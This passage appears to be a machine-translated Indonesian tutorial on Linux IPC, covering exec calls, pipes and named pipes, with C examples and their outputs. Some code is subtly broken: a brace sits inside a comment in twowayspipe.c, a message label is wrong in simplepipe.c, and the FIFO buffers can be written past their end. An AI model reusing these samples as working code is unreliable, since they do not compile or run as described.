1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Sekarang mari kita lihat fungsi perpustakaan terkait gambar overlay.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Fungsi ini akan melapisi gambar proses yang sedang berjalan dengan proses baru seperti yang disebutkan dalam argumen, jalur, dan argumen. Jika ada argumen yang perlu diteruskan ke gambar proses baru, itu akan dikirim melalui argumen "arg" dan argumen terakhir harus NULL.
Fungsi ini akan mengembalikan nilai hanya jika terjadi kesalahan. Proses overlay panggilan terkait gambar adalah seperti yang disebutkan di bawah ini -
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Panggilan ini akan membahas argumen baris perintah yang lewat (argv []), variabel lingkungan (envp []) dan parameter lainnya.
Tabel berikut mencantumkan berbagai panggilan Sistem bersama dengan deskripsinya.
Kategori | Panggilan Sistem | Deskripsi |
---|---|---|
Umum | Buka () | Panggilan sistem ini membuka file yang sudah ada atau membuat dan membuka file baru. |
Umum | creat () | Membuat dan membuka file baru. |
Umum | Baca () | Membaca konten file ke dalam buffer yang diperlukan. |
Umum | menulis () | Menulis konten buffer ke dalam file. |
Umum | Menutup () | Tutup deskriptor file. |
Umum | stat () | Memberikan informasi tentang file tersebut. |
Pipa | pipa () | Membuat pipa untuk komunikasi yang mengembalikan dua deskriptor file untuk membaca dan menulis. |
Pipa bernama atau Fifo | mknod () | Membuat file perangkat memori atau file khusus untuk membuat FIFO |
Pipa bernama atau Fifo | mkfifo () | Membuat FIFO baru |
Berbagi memori | shmget () | Membuat segmen memori bersama baru atau mendapatkan pengenal dari segmen yang ada. |
Berbagi memori | shmat () | Melampirkan segmen memori bersama dan menjadikan segmen tersebut sebagai bagian dari memori virtual dari proses panggilan. |
Berbagi memori | shmdt () | Melepaskan segmen memori bersama. |
Berbagi memori | shmctl () | Melakukan operasi kontrol untuk memori bersama. Beberapa operasi kontrol generik untuk memori bersama menghapus segmen memori bersama (IPC_RMID), menerima informasi memori bersama (IPC_STAT) dan memperbarui nilai baru dari memori bersama yang ada (IPC_SET). |
Antrian Pesan | msgget () | Membuat antrian pesan baru atau mengakses antrian pesan yang sudah ada dan mendapatkan pegangan atau pengenal untuk melakukan operasi terkait antrian pesan, seperti mengirim pesan ke antrian dan menerima pesan dari antrian. |
Antrian Pesan | msgsnd () | Mengirim pesan ke antrian pesan yang diperlukan dengan nomor identifikasi yang diperlukan. |
Antrian Pesan | msgrcv () | Menerima pesan dari antrian pesan. Secara default, ini adalah operasi tunggu tak terbatas, artinya panggilan akan diblokir hingga menerima pesan. |
Antrian Pesan | msgctl () | Melakukan operasi kontrol untuk antrian pesan. Beberapa operasi kontrol generik untuk antrian pesan menghapus antrian pesan (IPC_RMID), menerima informasi antrian pesan (IPC_STAT) dan memperbarui nilai baru dari antrian pesan yang ada (IPC_SET). |
Semaphores | semget () | Membuat semafor baru atau mendapatkan pengenal dari semafor yang ada. Semaphore digunakan untuk melakukan sinkronisasi antara berbagai IPC yang bekerja pada objek yang sama. |
Semaphores | semop () | Melakukan operasi semafor pada nilai semafor. Operasi semafor dasar adalah memperoleh atau melepaskan kunci pada semafor. |
Semaphores | semctl () | Melakukan operasi kontrol untuk semafor. Beberapa operasi kontrol generik untuk semaphore menghapus semaphore (IPC_RMID), menerima informasi dari semaphore (IPC_STAT) dan memperbarui nilai baru dari semaphore yang ada (IPC_SET). |
Sinyal | sinyal () | Mengatur disposisi sinyal (nomor sinyal) dan penangan sinyal. Dengan kata lain, mendaftarkan rutinitas, yang dijalankan saat sinyal dinaikkan. |
Sinyal | sigaction () | Sama seperti signal (), mengatur disposisi dari sinyal yaitu, melakukan tindakan tertentu sesuai dengan penangan sinyal terdaftar setelah penerimaan sinyal terdaftar. Panggilan sistem ini mendukung kontrol yang lebih baik atas sinyal () seperti memblokir sinyal tertentu, memulihkan tindakan sinyal ke keadaan default setelah memanggil penangan sinyal, memberikan informasi seperti waktu yang dikonsumsi pengguna dan sistem, id proses dari proses pengiriman, dll. |
Pemetaan Memori | mmap () | Memetakan file ke dalam memori. Setelah dipetakan ke dalam memori, mengakses file semudah mengakses data menggunakan alamat dan juga dengan cara ini, panggilan tidak semahal panggilan sistem. |
Pemetaan Memori | munmap () | Hapus pemetaan file yang dipetakan dari memori. |
Tabel berikut mencantumkan perbedaan antara Sistem V IPC dan POSIX IPC.
SISTEM V | POSIX |
---|---|
AT&T memperkenalkan (1983) tiga bentuk baru fasilitas IPC yaitu antrian pesan, memori bersama, dan semaphores. | Standar Antarmuka Sistem Operasi Portabel yang ditentukan oleh IEEE untuk mendefinisikan antarmuka pemrograman aplikasi (API). POSIX mencakup ketiga bentuk IPC |
SYSTEM V IPC mencakup semua mekanisme IPC yaitu, pipa, pipa bernama, antrian pesan, sinyal, semaphore, dan memori bersama. Ini juga mencakup soket dan soket Domain Unix. | Hampir semua konsep dasarnya sama dengan System V. Hanya saja berbeda dengan antarmukanya |
Panggilan Antarmuka Memori Bersama shmget (), shmat (), shmdt (), shmctl () | Panggilan Antarmuka Memori Bersama shm_open (), mmap (), shm_unlink () |
Antarmuka Antrean Pesan Panggilan msgget (), msgsnd (), msgrcv (), msgctl () | Panggilan Antrean Pesan mq_open (), mq_send (), mq_receive (), mq_unlink () |
Panggilan Antarmuka Semaphore semget (), semop (), semctl () | Panggilan Antarmuka Semaphore Dinamakan Semaphore sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Unnamed or Memory based semaphore sem_init (), sem_post (), sem_wait (), sem_getvalue (), sem_destroy () |
Menggunakan kunci dan pengenal untuk mengidentifikasi objek IPC. | Menggunakan nama dan deskriptor file untuk mengidentifikasi objek IPC |
NA | Antrian Pesan POSIX dapat dipantau menggunakan API select (), poll () dan epoll |
Menawarkan panggilan msgctl () | Menyediakan fungsi (mq_getattr () dan mq_setattr ()) baik untuk mengakses atau menyetel atribut 11. IPC - Sistem V & POSIX |
NA | Aman multi-utas. Meliputi fungsi sinkronisasi utas seperti kunci mutex, variabel bersyarat, kunci baca-tulis, dll. |
NA | Menawarkan beberapa fitur pemberitahuan untuk antrian pesan (seperti mq_notify ()) |
Memerlukan panggilan sistem seperti shmctl (), perintah (ipcs, ipcrm) untuk melakukan operasi status / kontrol. | Objek memori bersama dapat diperiksa dan dimanipulasi menggunakan panggilan sistem seperti fstat (), fchmod () |
Ukuran segmen memori bersama System V ditetapkan pada saat pembuatan (melalui shmget ()) | Kita bisa menggunakan ftruncate () untuk menyesuaikan ukuran objek yang mendasari, dan kemudian membuat ulang pemetaan menggunakan munmap () dan mmap () (atau mremap khusus Linux ()) |
Pipa adalah media komunikasi antara dua atau lebih proses yang berhubungan atau saling terkait. Ini dapat berupa dalam satu proses atau komunikasi antara anak dan proses induk. Komunikasi juga bisa bertingkat seperti komunikasi antara orang tua, anak dan cucu, dll. Komunikasi dicapai dengan satu proses menulis ke dalam pipa dan membaca lainnya dari pipa. Untuk mencapai panggilan sistem pipa, buat dua file, satu untuk menulis ke dalam file dan satu lagi untuk dibaca dari file.
Mekanisme pipa dapat dilihat dengan skenario real-time seperti mengisi air dengan pipa ke dalam suatu wadah, misalnya ember, dan seseorang mengambilnya, misalnya dengan cangkir. Proses pengisian tidak lain adalah menulis ke dalam pipa dan proses membaca tidak lain adalah mengambil dari pipa. Ini menyiratkan bahwa satu keluaran (air) adalah masukan untuk yang lain (ember).
#include<unistd.h>
int pipe(int pipedes[2]);
Panggilan sistem ini akan membuat pipa untuk komunikasi satu arah, yaitu membuat dua deskriptor, yang pertama dihubungkan untuk membaca dari pipa dan yang lainnya terhubung untuk menulis ke dalam pipa.
Descriptor pipedes [0] untuk membaca dan pipedes [1] untuk menulis. Apa pun yang ditulis ke dalam pipedes [1] dapat dibaca dari pipedes [0].
Panggilan ini akan mengembalikan nol jika berhasil dan -1 jika gagal. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Meskipun operasi dasar untuk file adalah membaca dan menulis, penting untuk membuka file sebelum melakukan operasi dan menutup file setelah menyelesaikan operasi yang diperlukan. Biasanya, secara default, 3 deskriptor dibuka untuk setiap proses, yang digunakan untuk input (input standar - stdin), output (output standar - stdout) dan error (standard error - stderr) yang masing-masing memiliki deskriptor file 0, 1 dan 2.
Panggilan sistem ini akan mengembalikan deskriptor file yang digunakan untuk operasi file lebih lanjut dari read / write / seek (lseek). Biasanya deskriptor file mulai dari 3 dan bertambah satu angka seiring dengan jumlah file yang dibuka.
Argumen yang diteruskan ke panggilan sistem terbuka adalah nama jalur (jalur relatif atau absolut), tanda yang menyebutkan tujuan membuka file (misalnya, membuka untuk dibaca, O_RDONLY, untuk menulis, O_WRONLY, untuk membaca dan menulis, O_RDWR, untuk ditambahkan ke file yang ada O_APPEND, untuk membuat file, jika tidak ada dengan O_CREAT dan sebagainya) dan mode yang diperlukan memberikan izin baca / tulis / eksekusi untuk pengguna atau pemilik / grup / orang lain. Modus bisa disebutkan dengan simbol.
Baca - 4, Tulis - 2 dan Jalankan - 1.
Misalnya: Nilai oktal (dimulai dengan 0), 0764 berarti pemilik memiliki izin baca, tulis, dan eksekusi, grup memiliki izin baca dan tulis, lainnya memiliki izin baca. Ini juga dapat direpresentasikan sebagai S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, yang menyiratkan atau pengoperasian 0700 | 0040 | 0020 | 0004 → 0764.
Panggilan sistem ini, jika berhasil, mengembalikan id deskriptor file baru dan -1 jika terjadi kesalahan. Penyebab error dapat diidentifikasi dengan variabel errno atau fungsi perror ().
#include<unistd.h>
int close(int fd)
Penutupan panggilan sistem di atas sudah membuka deskriptor file. Ini menyiratkan bahwa file tersebut tidak lagi digunakan dan sumber daya yang terkait dapat digunakan kembali oleh proses lain. Panggilan sistem ini mengembalikan nol saat berhasil dan -1 jika terjadi kesalahan. Penyebab error dapat diidentifikasi dengan variabel errno atau fungsi perror ().
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
Panggilan sistem di atas adalah untuk membaca dari file yang ditentukan dengan argumen deskriptor file fd, buffer yang sesuai dengan memori yang dialokasikan (baik statis atau dinamis) dan ukuran buffer.
Id deskriptor file adalah untuk mengidentifikasi file masing-masing, yang dikembalikan setelah memanggil panggilan sistem open () atau pipe (). File harus dibuka sebelum membaca dari file. Ini secara otomatis terbuka jika memanggil system call pipe ().
Panggilan ini akan mengembalikan jumlah byte yang dibaca (atau nol jika menemui akhir file) saat berhasil dan -1 jika gagal. Byte yang dikembalikan bisa lebih kecil dari jumlah byte yang diminta, jika tidak ada data yang tersedia atau file ditutup. Nomor kesalahan yang benar diatur jika terjadi kegagalan.
Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
Panggilan sistem di atas adalah untuk menulis ke file yang ditentukan dengan argumen dari deskriptor file fd, buffer yang tepat dengan memori yang dialokasikan (baik statis atau dinamis) dan ukuran buffer.
Id deskriptor file adalah untuk mengidentifikasi file masing-masing, yang dikembalikan setelah memanggil panggilan sistem open () atau pipe ().
File harus dibuka sebelum menulis ke file. Ini secara otomatis terbuka jika memanggil system call pipe ().
Panggilan ini akan mengembalikan jumlah byte yang ditulis (atau nol jika tidak ada yang ditulis) saat berhasil dan -1 jika gagal. Nomor kesalahan yang benar diatur jika terjadi kegagalan.
Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
Program Contoh
Berikut adalah beberapa contoh program.
Example program 1 - Program untuk menulis dan membaca dua pesan menggunakan pipa.
Algoritma
Step 1 - Buat pipa.
Step 2 - Kirim pesan ke pipa.
Step 3 - Ambil pesan dari pipa dan tulis ke keluaran standar.
Step 4 - Kirim pesan lain ke pipa.
Step 5 - Ambil pesan dari pipa dan tulis ke keluaran standar.
Note - Pengambilan pesan juga bisa dilakukan setelah mengirim semua pesan.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- Idealnya, status pengembalian perlu diperiksa untuk setiap panggilan sistem. Untuk menyederhanakan proses, pemeriksaan tidak dilakukan untuk semua panggilan.
Langkah Eksekusi
Kompilasi
gcc -o simplepipe simplepipe.c
Eksekusi / Output
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Program untuk menulis dan membaca dua pesan melalui pipa menggunakan proses induk dan anak.
Algoritma
Step 1 - Buat pipa.
Step 2 - Buat proses anak.
Step 3 - Proses induk menulis ke pipa.
Step 4 - Proses anak mengambil pesan dari pipa dan menulisnya ke keluaran standar.
Step 5 - Ulangi langkah 3 dan 4 sekali lagi.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Langkah Eksekusi
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Komunikasi Dua Arah Menggunakan Pipa
Komunikasi pipa dipandang hanya sebagai komunikasi satu arah yaitu, baik proses induk menulis dan proses anak membaca atau sebaliknya tetapi tidak keduanya. Namun, bagaimana jika orang tua dan anak perlu menulis dan membaca dari pipa secara bersamaan, solusinya adalah komunikasi dua arah menggunakan pipa. Dua pipa diperlukan untuk menjalin komunikasi dua arah.
Berikut adalah langkah-langkah untuk mencapai komunikasi dua arah -
Step 1- Buat dua pipa. Yang pertama adalah untuk orang tua untuk menulis dan anak untuk membaca, katakanlah sebagai pipa1. Yang kedua adalah untuk anak menulis dan orang tua untuk membaca, katakanlah sebagai pipa2.
Step 2 - Buat proses anak.
Step 3 - Tutup ujung yang tidak diinginkan karena hanya satu ujung yang dibutuhkan untuk setiap komunikasi.
Step 4 - Tutup ujung yang tidak diinginkan dalam proses induk, baca ujung pipa1 dan tulis ujung pipa2.
Step 5 - Tutup ujung yang tidak diinginkan pada proses anak, tulis ujung pipa1 dan baca ujung pipa2.
Step 6 - Lakukan komunikasi sesuai kebutuhan.
Program Sampel
Sample program 1 - Mewujudkan komunikasi dua arah menggunakan pipa.
Algoritma
Step 1 - Buat pipa1 untuk proses induk untuk menulis dan proses anak untuk dibaca.
Step 2 - Buat pipa2 untuk proses anak untuk menulis dan proses induk untuk dibaca.
Step 3 - Tutup ujung pipa yang tidak diinginkan dari sisi induk dan anak.
Step 4 - Proses orang tua untuk menulis pesan dan proses anak untuk dibaca dan ditampilkan di layar.
Step 5 - Proses anak untuk menulis pesan dan proses induk untuk dibaca dan ditampilkan di layar.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Langkah Eksekusi
Kompilasi
gcc twowayspipe.c –o twowayspipe
Eksekusi
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
Pipa dimaksudkan untuk komunikasi antara proses terkait. Bisakah kita menggunakan pipa untuk komunikasi proses yang tidak terkait, katakanlah, kita ingin menjalankan program klien dari satu terminal dan program server dari terminal lain? Jawabannya adalah Tidak. Lalu bagaimana kita bisa mencapai proses komunikasi yang tidak terkait, jawaban sederhananya adalah Named Pipes. Meskipun ini berfungsi untuk proses terkait, tidak ada artinya menggunakan pipa bernama untuk komunikasi proses terkait.
Kami menggunakan satu pipa untuk komunikasi satu arah dan dua pipa untuk komunikasi dua arah. Apakah kondisi yang sama berlaku untuk Pipa Bernama. Jawabannya tidak, kita dapat menggunakan pipa bernama tunggal yang dapat digunakan untuk komunikasi dua arah (komunikasi antara server dan klien, ditambah klien dan server pada saat yang sama) karena Named Pipe mendukung komunikasi dua arah.
Nama lain untuk pipa bernama adalah FIFO (First-In-First-Out). Mari kita lihat pemanggilan sistem (mknod ()) untuk membuat pipa bernama, yang merupakan sejenis file khusus.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
Panggilan sistem ini akan membuat file khusus atau node sistem file seperti file biasa, file perangkat, atau FIFO. Argumen untuk panggilan sistem adalah nama jalur, mode, dan dev. Nama jalur beserta atribut mode dan informasi perangkat. Pathname bersifat relatif, jika direktori tidak ditentukan maka akan dibuat di direktori saat ini. Mode yang ditentukan adalah mode file yang menentukan jenis file seperti jenis file dan mode file seperti yang disebutkan dalam tabel berikut. Bidang dev adalah untuk menentukan informasi perangkat seperti nomor perangkat mayor dan minor.
Jenis File | Deskripsi | Jenis File | Deskripsi |
---|---|---|---|
S_IFBLK | blok khusus | S_IFREG | File biasa |
S_IFCHR | karakter spesial | S_IFDIR | Direktori |
S_IFIFO | FIFO khusus | S_IFLNK | Tautan Simbolik |
Mode File | Deskripsi | Mode File | Deskripsi |
---|---|---|---|
S_IRWXU | Membaca, menulis, mengeksekusi / mencari menurut pemilik | S_IWGRP | Izin menulis, kelompok |
S_IRUSR | Izin baca, pemilik | S_IXGRP | Jalankan / cari izin, kelompok |
S_IWUSR | Izin menulis, pemilik | S_IRWXO | Membaca, menulis, mengeksekusi / mencari oleh orang lain |
S_IXUSR | Jalankan / cari izin, pemilik | S_IROTH | Izin baca, lainnya |
S_IRWXG | Membaca, menulis, mengeksekusi / mencari menurut kelompok | S_IWOTH | Izin menulis, orang lain |
S_IRGRP | Izin baca, kelompok | S_IXOTH | Izin eksekusi / pencarian, lainnya |
Mode file juga dapat direpresentasikan dalam notasi oktal seperti 0XYZ, di mana X mewakili pemilik, Y mewakili grup, dan Z mewakili orang lain. Nilai X, Y atau Z dapat berkisar dari 0 sampai 7. Nilai untuk baca, tulis dan eksekusi masing-masing adalah 4, 2, 1. Jika diperlukan dalam kombinasi baca, tulis, dan eksekusi, tambahkan nilai yang sesuai.
Katakanlah, jika kita menyebutkan, 0640, maka ini berarti baca dan tulis (4 + 2 = 6) untuk pemilik, baca (4) untuk grup dan tidak ada izin (0) untuk orang lain.
Panggilan ini akan mengembalikan nol jika berhasil dan -1 jika gagal. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Fungsi pustaka ini membuat file khusus FIFO, yang digunakan untuk pipa bernama. Argumen untuk fungsi ini adalah nama file dan mode. Nama file dapat berupa jalur absolut atau jalur relatif. Jika nama path lengkap (atau path absolut) tidak diberikan, file akan dibuat di folder saat ini dari proses eksekusi. Informasi mode file seperti yang dijelaskan dalam panggilan sistem mknod ().
Panggilan ini akan mengembalikan nol jika berhasil dan -1 jika gagal. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
Mari kita pertimbangkan program menjalankan server di satu terminal dan menjalankan klien di terminal lain. Program hanya akan melakukan komunikasi satu arah. Klien menerima input pengguna dan mengirim pesan ke server, server mencetak pesan pada output. Proses dilanjutkan hingga pengguna memasukkan string “end”.
Mari kita pahami ini dengan sebuah contoh -
Step 1 - Buat dua proses, satu adalah fifoserver dan yang lainnya adalah fifoclient.
Step 2 - Proses server melakukan hal berikut -
Membuat pipa bernama (menggunakan system call mknod ()) dengan nama "MYFIFO", jika tidak dibuat.
Membuka pipa bernama untuk tujuan hanya baca.
Di sini, dibuat FIFO dengan izin baca dan tulis untuk Pemilik. Baca untuk Grup dan tidak ada izin untuk Orang Lain.
Menunggu pesan dari Klien tanpa batas.
Jika pesan yang diterima dari klien tidak "berakhir", cetak pesan tersebut. Jika pesannya adalah "end", tutup fifo dan akhiri prosesnya.
Step 3 - Proses klien melakukan hal berikut -
Membuka pipa bernama untuk tujuan menulis saja.
Menerima string dari pengguna.
Memeriksa, apakah pengguna memasukkan "akhir" atau selain "akhir". Either way, itu mengirim pesan ke server. Namun, jika stringnya adalah "end", ini menutup FIFO dan juga mengakhiri prosesnya.
Berulang tanpa batas sampai pengguna memasukkan string "akhir".
Sekarang mari kita lihat file server FIFO.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Langkah Kompilasi dan Eksekusi
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Sekarang, mari kita lihat kode contoh klien FIFO.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Mari kita lihat keluaran yang akan datang.
Langkah Kompilasi dan Eksekusi
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Komunikasi Dua Arah Menggunakan Pipa Bernama
Komunikasi antar pipa dimaksudkan searah. Pipa dibatasi untuk komunikasi satu arah secara umum dan membutuhkan setidaknya dua pipa untuk komunikasi dua arah. Pipa dimaksudkan hanya untuk proses yang saling terkait. Pipa tidak dapat digunakan untuk komunikasi proses yang tidak terkait, katakanlah, jika kita ingin mengeksekusi satu proses dari satu terminal dan proses lain dari terminal lain, tidak mungkin dengan pipa. Apakah kita memiliki cara sederhana untuk berkomunikasi antara dua proses, katakanlah proses yang tidak terkait dengan cara yang sederhana? Jawabannya iya. Pipa bernama dimaksudkan untuk komunikasi antara dua atau lebih proses yang tidak terkait dan juga dapat memiliki komunikasi dua arah.
Kita telah melihat komunikasi satu arah antara pipa bernama, yaitu pesan dari klien ke server. Sekarang, mari kita lihat komunikasi dua arah yaitu, klien mengirim pesan ke server dan server menerima pesan dan mengirim kembali pesan lain ke klien menggunakan pipa bernama yang sama.
Berikut adalah contohnya -
Step 1 - Buat dua proses, satu adalah fifoserver_twoway dan satu lagi adalah fifoclient_twoway.
Step 2 - Proses server melakukan hal berikut -
Membuat pipa bernama (menggunakan fungsi perpustakaan mkfifo ()) dengan nama "fifo_twoway" di direktori / tmp, jika tidak dibuat.
Membuka pipa bernama untuk tujuan baca dan tulis.
Di sini, dibuat FIFO dengan izin baca dan tulis untuk Pemilik. Baca untuk Grup dan tidak ada izin untuk Orang Lain.
Menunggu pesan dari klien tanpa batas.
Jika pesan yang diterima dari klien tidak "berakhir", mencetak pesan dan membalikkan string. String yang dibalik dikirim kembali ke klien. Jika pesannya adalah "end", tutup fifo dan akhiri prosesnya.
Step 3 - Proses klien melakukan hal berikut -
Membuka pipa bernama untuk tujuan baca dan tulis.
Menerima string dari pengguna.
Memeriksa, apakah pengguna memasukkan "akhir" atau selain "akhir". Either way, itu mengirim pesan ke server. Namun, jika stringnya adalah "end", ini menutup FIFO dan juga mengakhiri prosesnya.
Jika pesan dikirim sebagai bukan "akhir", itu menunggu pesan (string terbalik) dari klien dan mencetak string terbalik.
Berulang tanpa batas sampai pengguna memasukkan string "akhir".
Sekarang, mari kita lihat kode sampel server FIFO.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Langkah Kompilasi dan Eksekusi
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Sekarang, mari kita lihat kode contoh klien FIFO.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
